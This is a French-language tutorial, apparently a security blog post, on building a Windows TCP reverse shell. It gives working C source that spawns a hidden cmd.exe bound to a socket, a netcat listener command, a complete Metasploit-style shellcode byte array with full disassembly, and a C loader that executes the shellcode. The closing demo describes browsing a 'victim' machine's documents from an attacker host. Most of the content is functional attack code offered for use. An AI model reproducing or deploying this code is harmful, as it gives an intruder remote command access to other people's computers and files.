I. Introduction
Nous allons représenté dans cette article comment crée
un shellcode "Reverse Shell TCP
Windows".
- Le
Pseudo code d'un Reverse Shell TCP windows (client)
Il
ce décompose en 4 étapes
Etape 1 : Initialiser la
bibliothèque des sockets avec en appelant WSAStartup(..)
Etape 2 : Créer une socket
Etape 3 : Connecter la socket vers le serveur avec le port distant
Epate 4 : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la socket
Etape 2 : Créer une socket
Etape 3 : Connecter la socket vers le serveur avec le port distant
Epate 4 : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la socket
II. Ecriture en C de notre shellcode
avec le Shellcode vu par la suite qui effectuera les mêmes actions
dans un programme en C , il faut avant de pouvoir utiliser la librairie "WinSock2.h" et donc des sockets dans notre code, Il faut initialiser son utilisation dans notre programme.Cela se fait en appelant la fonction "WSAStartup" en premier
Pour la création du processus "cmd.exe", nous utiliserons l'Api "CreateProcess"
pour pouvoir configurer le mode d'affichage, nous devons préciser activer le flag STARTF_USESHOWWINDOW.
Idém pour pouvoir effectué le routage des flux nous devons activer le flag STARTF_USESTDHANDLES et en configuret les 3 flux (hStrOutput,hStrInput,..) de STARTUPINFO vers la socket.
Voici notre code exemple crée dans un projet Visual studio 2008
#include
"stdafx.h"
#include
"WinReverseShellOfC.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int APIENTRY
_tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR
lpCmdLine,
int
nCmdShow)
{
// Etape 1 : Initialiser la bibliothèque des sockets en
appelant WSAStartup(..)
WSADATA WSAData;
WSAStartup(0x0200, &WSAData); // Winsock2 est utilisé
// Etape 2 :Create a SOCKET pour la connexion vers le
server
SOCKET MyClSocket = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stSockAdr;
stSockAdr.sin_family = AF_INET;
stSockAdr.sin_port = htons(8091); //
Configuration du port
stSockAdr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Configuration
de l'IP
// Etape 3 : Connecter la socket vers le serveur avec le
port distant
int iResult = connect( MyClSocket, (sockaddr *)
&stSockAdr, sizeof(stSockAdr));
STARTUPINFO si;
::ZeroMemory(&si, sizeof(si));
PROCESS_INFORMATION pi;
::ZeroMemory(&pi, sizeof(pi));
// Epate 4 : Démarrer "cmd" en redirigeant les
flux sur la socket
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput =
(HANDLE) MyClSocket;
si.hStdError =
(HANDLE) MyClSocket;
si.hStdOutput = (HANDLE) MyClSocket;
char szCmdline[4]="cmd";
BOOL bRes =
CreateProcess(0,szCmdline,0,0,TRUE,CREATE_NO_WINDOW|IDLE_PRIORITY_CLASS,0,0,&si,&pi);
DWORD dwResWait = WaitForSingleObject(pi.hProcess,
INFINITE);
closesocket(MyClSocket);
return 1;
}
|
Mais pour pouvoir tester celui-ci, il nous faut un serveur
ou un programme écoutant vers le port définit
C'est ce que l'on va voir dans la partie suivant
disposer d'un serveur pour le teste
III. La partie serveur "Reverse Shell TCP"
Nous allons
utilisons un programme maison cela permet de voir plusieurs connexion en même
temps.
Et l'avantage permet de faire des copier/coller rapide dans le display permettant également de suivre
la trace des actions sur des
échantillons du Web.
Mais dans notre cas d'école, vous n'avez pas besoin de cela un
simple "netcat" suffira largement.
Vous pouvez le télécharger à l'url suivant:
"https://eternallybored.org/misc/netcat/"
Vous devez simplement le lancer en mode serveur via la
commande suivant dans un cmd
nc.exe -L -p 8091
Comme aucune connexion n'est effectué sur celui-ci, il reste
en attente avec le curseur qui clignote
Maintenant si nous lançons notre programme C au dessus. Vous
voyer la connexion et le sortie apparaître
Et maintenant vous pouvez effectué l'interaction avec la
cible, par exemple taper dir <ENTRER> qui va lister le répertoire de
travail de la cible donc notre répertoire ou est le programme
WinReverseShellOfC
Bon bien sur, si vous devez refaire le test, il faudra fermer le cmd et relancer
la même commande.Maintenant passons au chose sérieuse, et utilisons un shellcode
pour faire notre "Reverse Shell TCP"
IV. Le Shellcode d'exemple
Pour cela nous n'avons pas chercher très loin. Nous
utilisons un outil de notre tools
"ConstructShellCodePEBShellReverseTCP.exe" qui
inclus la génération à la volé sur un model classique de metasploit. l'intérêt
est qu'il générer le shellcode avec IP et le Port souhaité sans avoir a
réfléchir
Pour notre démonstration de base nous avons fixer l'IP en locale
donc 127.0.0.1 et le port 8091.
Dont voici le Shellcode remis dans un tableau C
unsigned
char szShellCode_ReverseShellTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00"
"\x00\x01\x68\x02\x00\x1F\x9B\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5"
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5"
"\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6"
"\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24"
"\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56"
"\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08"
"\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF"
"\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A"
"\x00\x53\xFF\xD5";
|
Maintenant c'est pas trop lisible en soit, donc nous allons
désassemblé cela via un outil
Cela nous donne le code assembleur X32 et les opcodes correspondant du shellcode.
00000000: FC CLD
00000001: E8 82 00 00 00 CALL 00000082h (+82h ->:00000088)
00000006: 60 PUSHAD
00000007: 89 E5 MOV
EBP,ESP
00000009: 31 C0 XOR
EAX,EAX
0000000B: 64 8B 50 30 MOV EDX,DWORD PTR FS:[EAX+30h]
0000000F: 8B 52 0C MOV
EDX,DWORD PTR DS:[EDX+0Ch]
00000012: 8B 52 14 MOV
EDX,DWORD PTR DS:[EDX+14h]
00000015: 8B 72 28 MOV
ESI,DWORD PTR DS:[EDX+28h]
00000018: 0F B7 4A 26 MOVZX ECX,WORD PTR [EDX+26h]
0000001C: 31 FF XOR
EDI,EDI
0000001E: AC LODSB
0000001F: 3C 61 CMP
AL,61h
00000021: 7C 02 JL
02h (rel8)(+02h ->:00000025)
00000023: 2C 20 SUB
AL,20h
00000025: C1 CF 0D ROR EDI,0Dh (13)
00000028: 01 C7 ADD
EDI,EAX
0000002A: E2 F2 LOOP
F2h (-FFFFFFF2h=>:0000001E) Dec ECX or CX jump if !=0
0000002C: 52 PUSH
EDX
0000002D: 57 PUSH
EDI
0000002E: 8B 52 10 MOV
EDX,DWORD PTR DS:[EDX+10h]
00000031: 8B 4A 3C MOV
ECX,[EDX+3Ch]
00000034: 8B 4C 11 78 MOV ECX,DWORD PTR [ECX+EDX*1+78h]
00000038: E3 48 JECXZ
48h (-FFFFFFB8h ->:00000082)
0000003A: 01 D1 ADD
ECX,EDX
0000003C: 51 PUSH
ECX
0000003D: 8B 59 20 MOV
EBX,DWORD PTR [ECX+20h]
00000040: 01 D3 ADD
EBX,EDX
00000042: 8B 49 18 MOV
ECX,DWORD PTR[ECX+18h]
00000045: E3 3A JECXZ
3Ah (-FFFFFFC6h ->:00000081)
00000047: 49 DEC
ECX
00000048: 8B 34 8B MOV
ESI,[EBX+ECX*4]
0000004B: 01 D6 ADD
ESI,EDX
0000004D: 31 FF XOR
EDI,EDI
0000004F: AC LODSB
00000050: C1 CF 0D ROR
EDI,0Dh (13)
00000053: 01 C7 ADD
EDI,EAX
00000055: 38 E0 CMP
AL,AH
00000057: 75 F6 JNZ
F6h (rel8)(-0Ah ->:0000004F)
00000059: 03 7D F8 ADD
EDI,DWORD PTR [EBP-08h]
0000005C: 3B 7D 24 CMP
EDI,DWORD PTR [EBP+24h]
0000005F: 75 E4 JNZ
E4h (rel8)(-1Ch ->:00000045)
00000061: 58 POP
EAX
00000062: 8B 58 24 MOV
EBX,DWORD PTR DS:[EAX+24h]
00000065: 01 D3 ADD
EBX,EDX
00000067: 66 8B 0C 4B MOV CX,WORD PTR DS:[EBX+ECX*2]
0000006B: 8B 58 1C MOV
EBX,DWORD PTR DS:[EAX+1Ch]
0000006E: 01 D3 ADD
EBX,EDX
00000070: 8B 04 8B MOV
EAX,DWORD PTR[EBX+ECX*4]
00000073: 01 D0 ADD
EAX,EDX
00000075: 89 44 24 24 MOV DWORD PTR[ESP+24h],EAX
00000079: 5B POP
EBX
0000007A: 5B POP
EBX
0000007B: 61 POPAD
0000007C: 59 POP
ECX
0000007D: 5A POP
EDX
0000007E: 51 PUSH
ECX
0000007F: FF E0 JMP
EAX
00000081: 5F POP
EDI
00000082: 5F POP
EDI
00000083: 5A POP
EDX
00000084: 8B 12 MOV
EDX,DWORD PTR [EDX]
00000086: EB 8D JMP
8Dh (-73h ->:00000015)
00000088: 5D POP
EBP
00000089: 68 33 32 00 00 PUSH 00003233h "32"
0000008E: 68 77 73 32 5F PUSH 5F327377h "ws2_"
00000093: 54 PUSH
ESP
00000094: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099: FF D5 CALL
EBP
0000009B: B8 90 01 00 00 MOV EAX, 00000190h ""
000000A0: 29 C4 SUB
ESP,EAX
000000A2: 54 PUSH
ESP
000000A3: 50 PUSH
EAX
000000A4: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9: FF D5 CALL
EBP
000000AB: 50 PUSH
EAX
000000AC: 50 PUSH
EAX
000000AD: 50 PUSH
EAX
000000AE: 50 PUSH
EAX
000000AF: 40 INC
EAX
000000B0: 50 PUSH
EAX
000000B1: 40 INC
EAX
000000B2: 50 PUSH
EAX
000000B3: 68 EA 0F DF E0 PUSH
E0DF0FEAh "êßà"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000B8: FF D5 CALL
EBP
000000BA: 97 XCHG
EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BB: 6A 05 PUSH
5h
000000BD: 68 7F 00 00 01 PUSH 0100007Fh ""
000000C2: 68 02 00 1F 9B PUSH 9B1F0002h "[1]"
000000C7: 89 E6 MOV
ESI,ESP
000000C9: 6A 10 PUSH
10h
000000CB: 56 PUSH
ESI
000000CC: 57 PUSH
EDI
000000CD: 68 99 A5 74 61 PUSH 6174A599h "™¥ta"
(6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))
000000D2: FF D5 CALL
EBP
000000D4: 85 C0 TEST
EAX,EAX
000000D6: 74 0C JZ
0Ch (-FFFFFFF4h ->:000000E4)
000000D8: FF 4E 08 DEC
DWORD PTR [ESI+08h]
000000DB: 75 EC JNZ
ECh (rel8)(-14h ->:000000C9)
000000DD: 68 F0 B5 A2 56 PUSH 56A2B5F0h "ðµ¢V"
(56A2B5F0=Hash[Ror13-Hybrid](Kernel32.dll!ExitProcess))
000000E2: FF D5 CALL
EBP
000000E4: 68 63 6D 64 00 PUSH 00646D63h "cmd"
000000E9: 89 E3 MOV
EBX,ESP
000000EB: 57 PUSH
EDI
000000EC: 57 PUSH
EDI
000000ED: 57 PUSH
EDI
000000EE: 31 F6 XOR
ESI,ESI
000000F0: 6A 12 PUSH
12h
000000F2: 59 POP
ECX
000000F3: 56 PUSH
ESI
000000F4: E2 FD LOOP
FDh (-FFFFFFFDh=>:000000F3) Dec ECX or CX jump if !=0
000000F6: 66 C7 44 24 3C 01 01 MOV WORD PTR [ESP+3Ch], 0101h
000000FD: 8D 44 24 10 LEA EAX,DWORD PTR [ESP+10h]
00000101: C6 00 44 MOV
BYTE PTR [EAX],44h
00000104: 54 PUSH
ESP
00000105: 50 PUSH
EAX
00000106: 56 PUSH
ESI
00000107: 56 PUSH
ESI
00000108: 56 PUSH
ESI
00000109: 46 INC
ESI
0000010A: 56 PUSH
ESI
0000010B: 4E DEC
ESI
0000010C: 56 PUSH ESI
0000010D: 56 PUSH
ESI
0000010E: 53 PUSH
EBX
0000010F: 56 PUSH
ESI
00000110: 68 79 CC 3F 86 PUSH 863FCC79h
"yÌ?†" (863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000115: FF D5 CALL
EBP
00000117: 89 E0 MOV
EAX,ESP
00000119: 4E DEC
ESI
0000011A: 56 PUSH
ESI
0000011B: 46 INC
ESI
0000011C: FF 30 PUSH
DWORD PTR[EAX]
0000011E: 68 08 87 1D 60 PUSH 601D8708h " ‡`"
(601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000123: FF D5 CALL
EBP
00000125: BB F0 B5 A2 56 MOV EBX,56A2B5F0h "ðµ¢V"
0000012A: 68 A6 95 BD 9D PUSH 9DBD95A6h "¦•½"
(EC0E4E8E=Hash[ROR13-Hybrid](kernel32.dll!GetVersion))
0000012F: FF D5 CALL
EBP
00000131: 3C 06 CMP
AL,06h
00000133: 7C 0A JL
0Ah (rel8)(+0Ah ->:0000013F)
00000135: 80 FB E0 CMP
BL,E0
00000138: 75 05 JNZ
05h (rel8)(+05h ->:0000013F)
0000013A: BB 47 13 72 6F MOV EBX,6F721347h
"G ro" (6F721347=Hash[ROR13-Hybrid](ntdll.dll!RtlExitUserThread))
0000013F: 6A 00 PUSH
0h
00000141: 53 PUSH
EBX
00000142: FF D5 CALL
EBP
|
la structure de ce shellcode. Nous utilisons l'analyse "Diagram" permettant découper les shellcodes avec
une collection de référence de fonction ou bloc standard.
Nous avons mis en rouge la fonction importante et le bleu la récupération de l'addresse stocker dans EBP
Nous retrouvons une variant de la classique fonction
CallApiByHash13Hybrid.
Et donc nous avons une structure proche de notre code C/C++
du dessus au finale
V. Test de notre Shellcode
Ici nous ne cherchons pas à l'injecter dans un processus ou
autre. Nous allons simplement crée un petit programme
via Visual Studio pour
lancer notre shellcode
#include
"stdafx.h"
#include
"TestShellcodeWinReverseShellOfC.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
unsigned char
szShellCode_ReverseShellTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00"
"\x00\x01\x68\x02\x00\x1F\x9B\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5"
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5"
"\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6"
"\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24"
"\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56"
"\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08"
"\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF"
"\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A"
"\x00\x53\xFF\xD5";
int APIENTRY
_tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR
lpCmdLine,
int
nCmdShow)
{
int (*TestRun_Shellcode)() =
(int(*)())(&szShellCode_ReverseShellTCP[0]);
TestRun_Shellcode();
return 1;
}
|
dans notre cas, nous avons intégrer à nos outils de création
de shellcode, toujours la fonction "Run" permettant de teste en live
les modification dans le zone de saisie. Mais comme dit c'est du confort quand
on test des variantes du web.
Voici maintenant la capture de la démonstration avec un
Virtual Machine "WinXP" et la vision du poste de l'attaquant sous
Windows 7 avec l'énumération via "dir" du répertoire "Mes
documents" sur le poste victime en XP. Et donc visualer les documents dont
pour exemple "Sample.txt" qui dans la cas réel serait des
documents de la victime.
VI. Conclusions
Il existe une multitude de shellcode
de base disponible effectuant un "Reverse Shell TCP". Le but était une initiation et
permettre d'introduire un autre sujet la comparaison des shellcodes et des
sources exacte des shellcode.Nous avions commencé un article sur "Polymorphisme,
l'intérêt est connaître qu'elle shellcode contient exactement le shellcode sans l'exécuté.